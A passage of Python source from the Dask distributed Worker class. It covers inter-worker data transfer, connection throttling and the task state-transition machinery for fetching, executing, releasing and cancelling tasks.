BatchedSend(interval="1ms", loop=self.loop) self.stream_comms[address] = bcomm async def batched_send_connect(): comm = await connect( address, **self.connection_args # TODO, serialization ) comm.name = "Worker->Worker" await comm.write({"op": "connection_stream"}) bcomm.start(comm) self.loop.add_callback(batched_send_connect) self.stream_comms[address].send(msg) async def get_data( self, comm, keys=None, who=None, serializers=None, max_connections=None ): start = time() if max_connections is None: max_connections = self.total_in_connections # Allow same-host connections more liberally if ( max_connections and comm and get_address_host(comm.peer_address) == get_address_host(self.address) ): max_connections = max_connections * 2 if self.status == Status.paused: max_connections = 1 throttle_msg = " Throttling outgoing connections because worker is paused." else: throttle_msg = "" if ( max_connections is not False and self.outgoing_current_count >= max_connections ): logger.debug( "Worker %s has too many open connections to respond to data request " "from %s (%d/%d).%s", self.address, who, self.outgoing_current_count, max_connections, throttle_msg, ) return {"status": "busy"} self.outgoing_current_count += 1 data = {k: self.data[k] for k in keys if k in self.data} if len(data) < len(keys): for k in set(keys) - set(data): if k in self.actors: from .actor import Actor data[k] = Actor(type(self.actors[k]), self.address, k, worker=self) msg = {"status": "OK", "data": {k: to_serialize(v) for k, v in data.items()}} nbytes = {k: self.tasks[k].nbytes for k in data if k in self.tasks} stop = time() if self.digests is not None: self.digests["get-data-load-duration"].add(stop - start) start = time() try: compressed = await comm.write(msg, serializers=serializers) response = await comm.read(deserializers=serializers) assert response == "OK", response except OSError: logger.exception( "failed during get data with %s -> %s", self.address, who, exc_info=True ) comm.abort() raise finally: self.outgoing_current_count -= 1 stop = time() if self.digests is not None: self.digests["get-data-send-duration"].add(stop - start) total_bytes = sum(filter(None, nbytes.values())) self.outgoing_count += 1 duration = (stop - start) or 0.5 # windows self.outgoing_transfer_log.append( { "start": start + self.scheduler_delay, "stop": stop + self.scheduler_delay, "middle": (start + stop) / 2, "duration": duration, "who": who, "keys": nbytes, "total": total_bytes, "compressed": compressed, "bandwidth": total_bytes / duration, } ) return Status.dont_reply ################### # Local Execution # ################### def update_data( self, data: dict[str, object], report: bool = True, stimulus_id: str = None, ) -> dict[str, Any]: if stimulus_id is None: stimulus_id = f"update-data-{time()}" recommendations: Recs = {} scheduler_messages = [] for key, value in data.items(): try: ts = self.tasks[key] recommendations[ts] = ("memory", value) except KeyError: self.tasks[key] = ts = TaskState(key) try: recs = self._put_key_in_memory(ts, value, stimulus_id=stimulus_id) except Exception as e: msg = error_message(e) recommendations = {ts: tuple(msg.values())} else: recommendations.update(recs) self.log.append((key, "receive-from-scatter", stimulus_id, time())) if report: scheduler_messages.append( {"op": "add-keys", "keys": list(data), "stimulus_id": stimulus_id} ) self.transitions(recommendations, stimulus_id=stimulus_id) for msg in scheduler_messages: self.batched_stream.send(msg) return {"nbytes": {k: sizeof(v) for k, v in data.items()}, "status": "OK"} def handle_free_keys(self, keys: list[str], stimulus_id: str) -> None: """ Handler to be called by the scheduler. The given keys are no longer referred to and required by the scheduler. The worker is now allowed to release the key, if applicable. This does not guarantee that the memory is released since the worker may still decide to hold on to the data and task since it is required by an upstream dependency. """ self.log.append(("free-keys", keys, stimulus_id, time())) recommendations: Recs = {} for key in keys: ts = self.tasks.get(key) if ts: recommendations[ts] = "released" self.transitions(recommendations, stimulus_id=stimulus_id) def handle_remove_replicas(self, keys: list[str], stimulus_id: str) -> str: """Stream handler notifying the worker that it might be holding unreferenced, superfluous data. This should not actually happen during ordinary operations and is only intended to correct any erroneous state. An example where this is necessary is if a worker fetches data for a downstream task but that task is released before the data arrives. In this case, the scheduler will notify the worker that it may be holding this unnecessary data, if the worker hasn't released the data itself, already. This handler does not guarantee the task nor the data to be actually released but only asks the worker to release the data on a best effort guarantee. This protects from race conditions where the given keys may already have been rescheduled for compute in which case the compute would win and this handler is ignored. For stronger guarantees, see handler free_keys """ self.log.append(("remove-replicas", keys, stimulus_id, time())) recommendations: Recs = {} rejected = [] for key in keys: ts = self.tasks.get(key) if ts is None or ts.state != "memory": continue if not ts.is_protected(): self.log.append( (ts.key, "remove-replica-confirmed", stimulus_id, time()) ) recommendations[ts] = "released" else: rejected.append(key) if rejected: self.log.append(("remove-replica-rejected", rejected, stimulus_id, time())) self.batched_stream.send( {"op": "add-keys", "keys": rejected, "stimulus_id": stimulus_id} ) self.transitions(recommendations, stimulus_id=stimulus_id) return "OK" async def set_resources(self, **resources) -> None: for r, quantity in resources.items(): if r in self.total_resources: self.available_resources[r] += quantity - self.total_resources[r] else: self.available_resources[r] = quantity self.total_resources[r] = quantity await retry_operation( self.scheduler.set_resources, resources=self.total_resources, worker=self.contact_address, ) ################### # Task Management # ################### def handle_cancel_compute(self, key: str, stimulus_id: str) -> None: """ Cancel a task on a best effort basis. This is only possible while a task is in state `waiting` or `ready`. Nothing will happen otherwise. """ ts = self.tasks.get(key) if ts and ts.state in READY | {"waiting"}: self.log.append((key, "cancel-compute", stimulus_id, time())) # All possible dependents of TS should not be in state Processing on # scheduler side and therefore should not be assigned to a worker, # yet. assert not ts.dependents self.transition(ts, "released", stimulus_id=stimulus_id) def handle_acquire_replicas( self, *, keys: Collection[str], who_has: dict[str, Collection[str]], stimulus_id: str, ) -> None: recommendations: Recs = {} for key in keys: ts = self.ensure_task_exists( key=key, # Transfer this data after all dependency tasks of computations with # default or explicitly high (>0) user priority and before all # computations with low priority (<0). Note that the priority= parameter # of compute() is multiplied by -1 before it reaches TaskState.priority. priority=(1,), stimulus_id=stimulus_id, ) if ts.state != "memory": recommendations[ts] = "fetch" self.update_who_has(who_has) self.transitions(recommendations, stimulus_id=stimulus_id) def ensure_task_exists( self, key: str, *, priority: tuple[int, ...], stimulus_id: str ) -> TaskState: try: ts = self.tasks[key] logger.debug("Data task %s already known (stimulus_id=%s)", ts, stimulus_id) except KeyError: self.tasks[key] = ts = TaskState(key) if not ts.priority: assert priority ts.priority = priority self.log.append((key, "ensure-task-exists", ts.state, stimulus_id, time())) return ts def handle_compute_task( self, *, key: str, who_has: dict[str, Collection[str]], priority: tuple[int, ...], duration: float, function=None, args=None, kwargs=None, task=no_value, # distributed.scheduler.TaskState.run_spec nbytes: dict[str, int] | None = None, resource_restrictions: dict[str, float] | None = None, actor: bool = False, annotations: dict | None = None, stimulus_id: str, ) -> None: self.log.append((key, "compute-task", stimulus_id, time())) try: ts = self.tasks[key] logger.debug( "Asked to compute an already known task %s", {"task": ts, "stimulus_id": stimulus_id}, ) except KeyError: self.tasks[key] = ts = TaskState(key) ts.run_spec = SerializedTask(function, args, kwargs, task) assert isinstance(priority, tuple) priority = priority + (self.generation,) self.generation -= 1 if actor: self.actors[ts.key] = None ts.exception = None ts.traceback = None ts.exception_text = "" ts.traceback_text = "" ts.priority = priority ts.duration = duration if resource_restrictions: ts.resource_restrictions = resource_restrictions ts.annotations = annotations recommendations: Recs = {} scheduler_msgs: Smsgs = [] for dependency in who_has: dep_ts = self.ensure_task_exists( key=dependency, priority=priority, stimulus_id=stimulus_id, ) # link up to child / parents ts.dependencies.add(dep_ts) dep_ts.dependents.add(ts) if ts.state in READY | {"executing", "waiting", "resumed"}: pass elif ts.state == "memory": recommendations[ts] = "memory" scheduler_msgs.append(self._get_task_finished_msg(ts)) elif ts.state in { "released", "fetch", "flight", "missing", "cancelled", "error", }: recommendations[ts] = "waiting" else: # pragma: no cover raise RuntimeError(f"Unexpected task state encountered {ts} {stimulus_id}") for msg in scheduler_msgs: self.batched_stream.send(msg) self.update_who_has(who_has) self.transitions(recommendations, stimulus_id=stimulus_id) if nbytes is not None: for key, value in nbytes.items(): self.tasks[key].nbytes = value def transition_missing_fetch( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "missing" assert ts.priority is not None self._missing_dep_flight.discard(ts) ts.state = "fetch" ts.done = False self.data_needed.push(ts) return {}, [] def transition_missing_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: self._missing_dep_flight.discard(ts) recs, smsgs = self.transition_generic_released(ts, stimulus_id=stimulus_id) assert ts.key in self.tasks return recs, smsgs def transition_flight_missing( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: assert ts.done ts.state = "missing" self._missing_dep_flight.add(ts) ts.done = False return {}, [] def transition_released_fetch( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "released" assert ts.priority is not None for w in ts.who_has: self.pending_data_per_worker[w].push(ts) ts.state = "fetch" ts.done = False self.data_needed.push(ts) return {}, [] def transition_generic_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: self.release_key(ts.key, stimulus_id=stimulus_id) recs: Recs = {} for dependency in ts.dependencies: if ( not dependency.waiters and dependency.state not in READY | PROCESSING | {"memory"} ): recs[dependency] = "released" if not ts.dependents: recs[ts] = "forgotten" return recs, [] def transition_released_waiting( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "released" assert all(d.key in self.tasks for d in ts.dependencies) recommendations: Recs = {} ts.waiting_for_data.clear() for dep_ts in ts.dependencies: if not dep_ts.state == "memory": ts.waiting_for_data.add(dep_ts) dep_ts.waiters.add(ts) if dep_ts.state not in {"fetch", "flight"}: recommendations[dep_ts] = "fetch" if ts.waiting_for_data: self.waiting_for_data_count += 1 elif ts.resource_restrictions: recommendations[ts] = "constrained" else: recommendations[ts] = "ready" ts.state = "waiting" return recommendations, [] def transition_fetch_flight( self, ts: TaskState, worker, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "fetch" assert ts.who_has ts.done = False ts.state = "flight" ts.coming_from = worker self._in_flight_tasks.add(ts) return {}, [] def transition_memory_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: recs, smsgs = self.transition_generic_released(ts, stimulus_id=stimulus_id) smsgs.append({"op": "release-worker-data", "key": ts.key}) return recs, smsgs def transition_waiting_constrained( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "waiting" assert not ts.waiting_for_data assert all( dep.key in self.data or dep.key in self.actors for dep in ts.dependencies ) assert all(dep.state == "memory" for dep in ts.dependencies) assert ts.key not in self.ready ts.state = "constrained" self.constrained.append(ts.key) return {}, [] def transition_long_running_rescheduled( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: recs: Recs = {ts: "released"} smsgs = [{"op": "reschedule", "key": ts.key, "worker": self.address}] return recs, smsgs def transition_executing_rescheduled( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] += quantity self._executing.discard(ts) recs: Recs = {ts: "released"} smsgs: Smsgs = [{"op": "reschedule", "key": ts.key, "worker": self.address}] return recs, smsgs def transition_waiting_ready( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "waiting" assert ts.key not in self.ready assert not ts.waiting_for_data for dep in ts.dependencies: assert dep.key in self.data or dep.key in self.actors assert dep.state == "memory" ts.state = "ready" assert ts.priority is not None heapq.heappush(self.ready, (ts.priority, ts.key)) return {}, [] def transition_cancelled_error( self, ts: TaskState, exception, traceback, exception_text, traceback_text, *, stimulus_id: str, ) -> tuple[Recs, Smsgs]: recs: Recs = {} smsgs: Smsgs = [] if ts._previous == "executing": recs, smsgs = self.transition_executing_error( ts, exception, traceback, exception_text, traceback_text, stimulus_id=stimulus_id, ) elif ts._previous == "flight": recs, smsgs = self.transition_flight_error( ts, exception, traceback, exception_text, traceback_text, stimulus_id=stimulus_id, ) if ts._next: recs[ts] = ts._next return recs, smsgs def transition_generic_error( self, ts: TaskState, exception, traceback, exception_text, traceback_text, *, stimulus_id: str, ) -> tuple[Recs, Smsgs]: ts.exception = exception ts.traceback = traceback ts.exception_text = exception_text ts.traceback_text = traceback_text ts.state = "error" smsg = { "op": "task-erred", "status": "error", "key": ts.key, "thread": self.threads.get(ts.key), "exception": ts.exception, "traceback": ts.traceback, "exception_text": ts.exception_text, "traceback_text": ts.traceback_text, } if ts.startstops: smsg["startstops"] = ts.startstops return {}, [smsg] def transition_executing_error( self, ts: TaskState, exception, traceback, exception_text, traceback_text, *, stimulus_id: str, ) -> tuple[Recs, Smsgs]: for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] += quantity self._executing.discard(ts) return self.transition_generic_error( ts, exception, traceback, exception_text, traceback_text, stimulus_id=stimulus_id, ) def _transition_from_resumed( self, ts: TaskState, finish: str, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: """`resumed` is an intermediate degenerate state which splits further up into two states depending on what the last signal / next state is intended to be. There are only two viable choices depending on whether the task is required to be fetched from another worker `resumed(fetch)` or the task shall be computed on this worker `resumed(waiting)`. The only viable state transitions ending up here are flight -> cancelled -> resumed(waiting) or executing -> cancelled -> resumed(fetch) depending on the origin. Equally, only `fetch`, `waiting` or `released` are allowed output states. See also `transition_resumed_waiting` """ recs: Recs = {} smsgs: Smsgs = [] if ts.done: next_state = ts._next # if the next state is already intended to be waiting or if the # coro/thread is still running (ts.done==False), this is a noop if ts._next != finish: recs, smsgs = self.transition_generic_released( ts, stimulus_id=stimulus_id ) assert next_state recs[ts] = next_state else: ts._next = finish return recs, smsgs def transition_resumed_fetch( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: """ See Worker._transition_from_resumed """ return self._transition_from_resumed(ts, "fetch", stimulus_id=stimulus_id) def transition_resumed_missing( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: """ See Worker._transition_from_resumed """ return self._transition_from_resumed(ts, "missing", stimulus_id=stimulus_id) def transition_resumed_waiting(self, ts: TaskState, *, stimulus_id: str): """ See Worker._transition_from_resumed """ return self._transition_from_resumed(ts, "waiting", stimulus_id=stimulus_id) def transition_cancelled_fetch( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if ts.done: return {ts: "released"}, [] elif ts._previous == "flight": ts.state = ts._previous return {}, [] else: assert ts._previous == "executing" return {ts: ("resumed", "fetch")}, [] def transition_cancelled_resumed( self, ts: TaskState, next: str, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: ts._next = next ts.state = "resumed" return {}, [] def transition_cancelled_waiting( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if ts.done: return {ts: "released"}, [] elif ts._previous == "executing": ts.state = ts._previous return {}, [] else: assert ts._previous == "flight" return {ts: ("resumed", "waiting")}, [] def transition_cancelled_forgotten( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: ts._next = "forgotten" if not ts.done: return {}, [] return {ts: "released"}, [] def transition_cancelled_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if not ts.done: ts._next = "released" return {}, [] next_state = ts._next assert next_state self._executing.discard(ts) self._in_flight_tasks.discard(ts) for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] += quantity recs, smsgs = self.transition_generic_released(ts, stimulus_id=stimulus_id) if next_state != "released": recs[ts] = next_state return recs, smsgs def transition_executing_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: ts._previous = ts.state ts._next = "released" # See https://github.com/dask/distributed/pull/5046#discussion_r685093940 ts.state = "cancelled" ts.done = False return {}, [] def transition_long_running_memory( self, ts: TaskState, value=no_value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: self.executed_count += 1 return self.transition_generic_memory(ts, value=value, stimulus_id=stimulus_id) def transition_generic_memory( self, ts: TaskState, value=no_value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if value is no_value and ts.key not in self.data: raise RuntimeError( f"Tried to transition task {ts} to `memory` without data available" ) if ts.resource_restrictions is not None: for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] += quantity self._executing.discard(ts) self._in_flight_tasks.discard(ts) ts.coming_from = None try: recs = self._put_key_in_memory(ts, value, stimulus_id=stimulus_id) except Exception as e: msg = error_message(e) recs = {ts: tuple(msg.values())} return recs, [] assert ts.key in self.data or ts.key in self.actors smsgs = [self._get_task_finished_msg(ts)] return recs, smsgs def transition_executing_memory( self, ts: TaskState, value=no_value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert ts.state == "executing" or ts.key in self.long_running assert not ts.waiting_for_data assert ts.key not in self.ready self._executing.discard(ts) self.executed_count += 1 return self.transition_generic_memory(ts, value=value, stimulus_id=stimulus_id) def transition_constrained_executing( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert not ts.waiting_for_data assert ts.key not in self.data assert ts.state in READY assert ts.key not in self.ready for dep in ts.dependencies: assert dep.key in self.data or dep.key in self.actors for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] -= quantity ts.state = "executing" self._executing.add(ts) self.loop.add_callback(self.execute, ts.key, stimulus_id=stimulus_id) return {}, [] def transition_ready_executing( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if self.validate: assert not ts.waiting_for_data assert ts.key not in self.data assert ts.state in READY assert ts.key not in self.ready assert all( dep.key in self.data or dep.key in self.actors for dep in ts.dependencies ) ts.state = "executing" self._executing.add(ts) self.loop.add_callback(self.execute, ts.key, stimulus_id=stimulus_id) return {}, [] def transition_flight_fetch( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: # If this transition is called after the flight coroutine has finished, # we can reset the task and transition to fetch again. If it is not yet # finished, this should be a no-op if not ts.done: return {}, [] recommendations: Recs = {} ts.state = "fetch" ts.coming_from = None ts.done = False if not ts.who_has: recommendations[ts] = "missing" else: self.data_needed.push(ts) for w in ts.who_has: self.pending_data_per_worker[w].push(ts) return recommendations, [] def transition_flight_error( self, ts: TaskState, exception, traceback, exception_text, traceback_text, *, stimulus_id: str, ) -> tuple[Recs, Smsgs]: self._in_flight_tasks.discard(ts) ts.coming_from = None return self.transition_generic_error( ts, exception, traceback, exception_text, traceback_text, stimulus_id=stimulus_id, ) def transition_flight_released( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: if ts.done: # FIXME: Is this even possible? Would an assert instead be more # sensible? return self.transition_generic_released(ts, stimulus_id=stimulus_id) else: ts._previous = "flight" ts._next = "released" # See https://github.com/dask/distributed/pull/5046#discussion_r685093940 ts.state = "cancelled" return {}, [] def transition_cancelled_memory( self, ts: TaskState, value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: assert ts._next return {ts: ts._next}, [] def transition_executing_long_running( self, ts: TaskState, compute_duration, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: ts.state = "long-running" self._executing.discard(ts) self.long_running.add(ts.key) smsgs = [ { "op": "long-running", "key": ts.key, "compute_duration": compute_duration, } ] self.io_loop.add_callback(self.ensure_computing) return {}, smsgs def transition_released_memory( self, ts: TaskState, value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: recs: Recs = {} try: recs = self._put_key_in_memory(ts, value, stimulus_id=stimulus_id) except Exception as e: msg = error_message(e) recs[ts] = ( "error", msg["exception"], msg["traceback"], msg["exception_text"], msg["traceback_text"], ) return recs, [] smsgs = [{"op": "add-keys", "keys": [ts.key], "stimulus_id": stimulus_id}] return recs, smsgs def transition_flight_memory( self, ts: TaskState, value, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: self._in_flight_tasks.discard(ts) ts.coming_from = None recs: Recs = {} try: recs = self._put_key_in_memory(ts, value, stimulus_id=stimulus_id) except Exception as e: msg = error_message(e) recs[ts] = ( "error", msg["exception"], msg["traceback"], msg["exception_text"], msg["traceback_text"], ) return recs, [] smsgs = [{"op": "add-keys", "keys": [ts.key], "stimulus_id": stimulus_id}] return recs, smsgs def transition_released_forgotten( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Recs, Smsgs]: recommendations: Recs = {} # Dependents _should_ be released by the scheduler before this if self.validate: assert not any(d.state != "forgotten" for d in ts.dependents) for dep in ts.dependencies: dep.dependents.discard(ts) if dep.state == "released" and not dep.dependents: recommendations[dep] = "forgotten" # Mark state as forgotten in case it is still referenced ts.state = "forgotten" self.tasks.pop(ts.key, None) return recommendations, [] def _transition( self, ts: TaskState, finish: str | tuple, *args, stimulus_id: str, **kwargs ) -> tuple[Recs, Smsgs]: if isinstance(finish, tuple): # the concatenated transition path might need to access the tuple assert not args finish, *args = finish # type: ignore if ts is None or ts.state == finish: return {}, [] start = ts.state func = self._transitions_table.get((start, cast(str, finish))) if func is not None: self._transition_counter += 1 recs, smsgs = func(ts, *args, stimulus_id=stimulus_id, **kwargs) self._notify_plugins("transition", ts.key, start, finish, **kwargs) elif "released" not in (start, finish): # start -> "released" -> finish try: recs, smsgs = self._transition(ts, "released", stimulus_id=stimulus_id) v = recs.get(ts, (finish, *args)) v_state: str v_args: list | tuple if isinstance(v, tuple): v_state, *v_args = v else: v_state, v_args = v, () b_recs, b_smsgs = self._transition( ts, v_state, *v_args, stimulus_id=stimulus_id ) recs.update(b_recs) smsgs += b_smsgs except InvalidTransition: raise InvalidTransition( f"Impossible transition from {start} to {finish} for {ts.key}" ) from None else: raise InvalidTransition( f"Impossible transition from {start} to {finish} for {ts.key}" ) self.log.append( ( # key ts.key, # initial start, # recommended finish, # final ts.state, # new recommendations {ts.key: new for ts, new in recs.items()}, stimulus_id, time(), ) ) return recs, smsgs def transition( self, ts: TaskState, finish: str, *, stimulus_id: str, **kwargs ) -> None: """Transition a key from its current state to the finish state Examples -------- >>> self.transition('x', 'waiting') {'x': 'processing'} Returns ------- Dictionary of recommendations for future transitions See Also -------- Scheduler.transitions: transitive version of this function """ recs, smsgs = self._transition(ts, finish, stimulus_id=stimulus_id, **kwargs) for msg in smsgs: self.batched_stream.send(msg) self.transitions(recs, stimulus_id=stimulus_id) def transitions(self, recommendations: Recs, *, stimulus_id: str) -> None: """Process transitions until none are left This includes feedback from previous transitions and continues until we reach a steady state """ smsgs = [] remaining_recs = recommendations.copy() tasks = set() while remaining_recs: ts, finish = remaining_recs.popitem() tasks.add(ts) a_recs, a_smsgs = self._transition(ts, finish, stimulus_id=stimulus_id) remaining_recs.update(a_recs) smsgs += a_smsgs if self.validate: # Full state validation is very expensive for ts in tasks: self.validate_task(ts) if not self.batched_stream.closed(): for msg in smsgs: self.batched_stream.send(msg) else: logger.debug( "BatchedSend closed while transitioning tasks. %d tasks not sent.", len(smsgs), ) def maybe_transition_long_running( self, ts: TaskState, *, stimulus_id: str, compute_duration=None ): if ts.state == "executing": self.transition( ts, "long-running", compute_duration=compute_duration, stimulus_id=stimulus_id, ) assert ts.state == "long-running" def stateof(self, key: str) -> dict[str, Any]: ts = self.tasks[key] return { "executing": ts.state == "executing", "waiting_for_data": bool(ts.waiting_for_data), "heap": key in pluck(1, self.ready), "data": key in self.data, } def story(self, *keys_or_tasks: str | TaskState) -> list[tuple]: keys = [e.key if isinstance(e, TaskState) else e for e in keys_or_tasks] return [ msg for msg in self.log if any(key in msg for key in keys) or any( key in c for key in keys for c in msg if isinstance(c, (tuple, list, set)) ) ] def ensure_communicating(self) -> None: stimulus_id = f"ensure-communicating-{time()}" skipped_worker_in_flight = [] while self.data_needed and ( len(self.in_flight_workers) < self.total_out_connections or self.comm_nbytes < self.comm_threshold_bytes ): logger.debug( "Ensure communicating. Pending: %d. Connections: %d/%d", len(self.data_needed), len(self.in_flight_workers), self.total_out_connections, ) ts = self.data_needed.pop() if ts.state != "fetch": continue workers = [w for w in ts.who_has if w not in self.in_flight_workers] if not workers: assert ts.priority is not None skipped_worker_in_flight.append(ts) continue host = get_address_host(self.address) local = [w for w in workers if get_address_host(w) == host] if local: worker = random.choice(local) else: worker = random.choice(list(workers)) assert worker != self.address to_gather, total_nbytes = self.select_keys_for_gather(worker, ts.key) self.log.append( ("gather-dependencies", worker, to_gather, stimulus_id, time()) ) self.comm_nbytes += total_nbytes self.in_flight_workers[worker] = to_gather recommendations: Recs = { self.tasks[d]: ("flight", worker) for d in to_gather } self.transitions(recommendations, stimulus_id=stimulus_id) self.loop.add_callback( self.gather_dep, worker=worker, to_gather=to_gather, total_nbytes=total_nbytes, stimulus_id=stimulus_id, ) for el in skipped_worker_in_flight: self.data_needed.push(el) def _get_task_finished_msg(self, ts: TaskState) -> dict[str, Any]: if ts.key not in self.data and ts.key not in self.actors: raise RuntimeError(f"Task {ts} not ready") typ = ts.type if ts.nbytes is None or typ is None: try: value = self.data[ts.key] except KeyError: value = self.actors[ts.key] ts.nbytes = sizeof(value) typ = ts.type = type(value) del value try: typ_serialized = dumps_function(typ) except PicklingError: # Some types fail pickling (example: _thread.lock objects), # send their name as a best effort. typ_serialized = pickle.dumps(typ.__name__, protocol=4) d = { "op": "task-finished", "status": "OK", "key": ts.key, "nbytes": ts.nbytes, "thread": self.threads.get(ts.key), "type": typ_serialized, "typename": typename(typ), "metadata": ts.metadata, } if ts.startstops: d["startstops"] = ts.startstops return d def _put_key_in_memory(self, ts: TaskState, value, *, stimulus_id: str) -> Recs: """ Put a key into memory and set data related task state attributes. On success, generate recommendations for dependents. This method does not generate any scheduler messages since this method cannot distinguish whether it has to be an `add-task` or a `task-finished` signal. The caller is required to generate this message on success. Raises ------ TypeError: In case the data is put into the in memory buffer and an exception occurs during spilling, this raises an exception. This has to be handled by the caller since most callers generate scheduler messages on success (see comment above) but we need to signal that this was not successful. Can only trigger if spill to disk is enabled and the task is not an actor. """ if ts.key in self.data: ts.state = "memory" return {} recommendations: Recs = {} if ts.key in self.actors: self.actors[ts.key] = value else: start = time() self.data[ts.key] = value stop = time() if stop - start > 0.020: ts.startstops.append( {"action": "disk-write", "start": start, "stop": stop} ) ts.state = "memory" if ts.nbytes is None: ts.nbytes = sizeof(value) ts.type = type(value) for dep in ts.dependents: dep.waiting_for_data.discard(ts) if not dep.waiting_for_data and dep.state == "waiting": self.waiting_for_data_count -= 1 recommendations[dep] = "ready" self.log.append((ts.key, "put-in-memory", stimulus_id, time())) return recommendations def select_keys_for_gather(self, worker, dep): assert isinstance(dep, str) deps = {dep} total_bytes = self.tasks[dep].get_nbytes() L = self.pending_data_per_worker[worker] while L: ts = L.pop() if ts.state != "fetch": continue if total_bytes + ts.get_nbytes() > self.target_message_size: break deps.add(ts.key) total_bytes += ts.get_nbytes() return deps, total_bytes @property def total_comm_bytes(self): warnings.warn( "The attribute `Worker.total_comm_bytes` has been renamed to `comm_threshold_bytes`. " "Future versions will only support the new name.", FutureWarning, ) return self.comm_threshold_bytes def _filter_deps_for_fetch( self, to_gather_keys: Iterable[str] ) -> tuple[set[str], set[str], TaskState | None]: """Filter a list of keys before scheduling coroutines to fetch data from workers. Returns ------- in_flight_keys: The subset of keys in to_gather_keys in state `flight` or `resumed` cancelled_keys: The subset of tasks in to_gather_keys in state `cancelled` or `memory` cause: The task to attach startstops of this transfer to """ in_flight_tasks: set[TaskState] = set() cancelled_keys: set[str] = set() for key in to_gather_keys: ts = self.tasks.get(key) if ts is None: continue # At this point, a task has been transitioned fetch->flight # flight is only allowed to be transitioned into # {memory, resumed, cancelled} # resumed and cancelled will block any further transition until this # coro has been finished if ts.state in ("flight", "resumed"): in_flight_tasks.add(ts) # If the key is already in memory, the fetch should not happen which # is signalled by the cancelled_keys elif ts.state in {"cancelled", "memory"}: cancelled_keys.add(key) else: raise RuntimeError( f"Task {ts.key} found in illegal state {ts.state}. " "Only states `flight`, `resumed` and `cancelled` possible." ) # For diagnostics we want to attach the transfer to a single task. this # task is typically the next to be executed but since we're fetching # tasks for potentially many dependents, an exact match is not possible. # If there are no dependents, this is a pure replica fetch cause = None for ts in in_flight_tasks: if ts.dependents: cause = next(iter(ts.dependents)) break else: cause = ts in_flight_keys = {ts.key for ts in in_flight_tasks} return in_flight_keys, cancelled_keys, cause def _update_metrics_received_data( self, start: float, stop: float, data: dict, cause: TaskState, worker: str ) -> None: total_bytes = sum(self.tasks[key].get_nbytes() for key in data) cause.startstops.append( { "action": "transfer", "start": start + self.scheduler_delay, "stop": stop + self.scheduler_delay, "source": worker, } ) duration = (stop - start) or 0.010 bandwidth = total_bytes / duration self.incoming_transfer_log.append( { "start": start + self.scheduler_delay, "stop": stop + self.scheduler_delay, "middle": (start + stop) / 2.0 + self.scheduler_delay, "duration": duration, "keys": {key: self.tasks[key].nbytes for key in data}, "total": total_bytes, "bandwidth": bandwidth, "who": worker, } ) if total_bytes > 1_000_000: self.bandwidth = self.bandwidth * 0.95 + bandwidth * 0.05 bw, cnt = self.bandwidth_workers[worker] self.bandwidth_workers[worker] = (bw + bandwidth, cnt + 1) types = set(map(type, data.values())) if len(types) == 1: [typ] = types bw, cnt = self.bandwidth_types[typ] self.bandwidth_types[typ] = (bw + bandwidth, cnt + 1) if self.digests is not None: self.digests["transfer-bandwidth"].add(total_bytes / duration) self.digests["transfer-duration"].add(duration) self.counters["transfer-count"].add(len(data)) self.incoming_count += 1 async def gather_dep( self, worker: str, to_gather: Iterable[str], total_nbytes: int, *, stimulus_id: str, ) -> None: """Gather dependencies for a task from a worker who has them Parameters ---------- worker : str Address of worker to gather dependencies from to_gather : list Keys of dependencies to gather from worker -- this is not necessarily equivalent to the full list of dependencies of ``dep`` as some dependencies may already be present on this worker. total_nbytes : int Total number of bytes for all the dependencies in to_gather combined """ if self.status not in Status.ANY_RUNNING: # type: ignore return recommendations: Recs = {} with log_errors(): response = {} to_gather_keys: set[str] = set() cancelled_keys: set[str] = set() try: to_gather_keys, cancelled_keys, cause = self._filter_deps_for_fetch( to_gather ) if not to_gather_keys: self.log.append( ("nothing-to-gather", worker, to_gather, stimulus_id, time()) ) return assert cause # Keep namespace clean since this func is long and has many # dep*, *ts* variables del to_gather self.log.append( ("request-dep", worker, to_gather_keys, stimulus_id, time()) 